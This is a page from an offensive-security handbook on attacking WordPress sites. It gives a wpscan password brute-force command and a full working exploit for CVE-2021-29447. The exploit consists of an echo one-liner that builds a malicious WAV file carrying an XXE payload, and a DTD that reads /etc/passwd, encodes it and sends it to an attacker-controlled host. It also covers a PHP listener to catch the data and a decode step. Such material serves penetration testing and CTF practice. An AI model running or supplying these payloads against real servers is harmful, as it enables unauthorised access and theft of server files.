> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/all-the-other-layers-recon/web-recon/cms/wordpress.md).

# Wordpress

Generic methodologies and some CVEs

## Enumeration

[**WPScan**](https://github.com/wpscanteam/wpscan) is the go-to tool for scanning a Wordpress application.\
It is also relatively important to grab an API key for it also and configure your wpscan installation to use it.

#### Wp-Login Brute Force

```php
wpscan --url victim.ip -U admin --passwords passlist
```

## CVE-2021-29447 / Authenticated XXE & SSRF

If you have media upload rights and if your Wpscan return this vulnerability. You are in for a treat.\
It is possible to upload a [malicious WAV](https://book.turbosec.net/post-exploitation/data-exfiltration/steganography.md#audio-spectrograph-analysis)

![WPScan snippet of scan](https://864121778-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mk3RnfEHBP3zuZMsnli%2F-MkJ2ZAGysaS90JcHMWt%2F-MkJ2ut7Ula-KwZs-ST_%2Fimage.png?alt=media\&token=fc5d07d8-b14f-4513-aa56-aa12ecc3cf13)

Using **echo** and its parameters to escape backslashes and no trail lines, use this one liner to create a malicious **WAV** file.

```bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:YOUR_PORT/malicious.dtd'"'"'>%remote;%init;%trick;]>\x00' > malicious.wav
```

On your box, create the malicious.dtd file and prepare yourself to upload this file to the server.\
The content of the malicious file should be like this: replace&#x20;

```markup
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> 
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOUR_IP:YOUR_PORT/malicious.dtd?p=%file;'>" >
```

1. Use PHP to host malicious.dtd
2. Upload malicious.wav

```php
php -S YOUR_IP:YOUR_PORT
```

As soon as you upload the malicious.wav, your php web server should request a GET request with *p* as the parameter. Said parameter should hold the requested server file, encoded as zlib(base64).

![Base64 dump of the /etc/passwd on Wordpress server](https://864121778-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mk3RnfEHBP3zuZMsnli%2F-MkJ8dYOmdQa0iWvwrlg%2F-MkJE4SlSn2jPiUmwZH5%2Fimage.png?alt=media\&token=271effbc-3549-40a9-b579-45c14d926668)

And then you can use php to decode it.

```php
<?php echo zlib_decode(base64_decode('b64-to-decode')); ?>
```
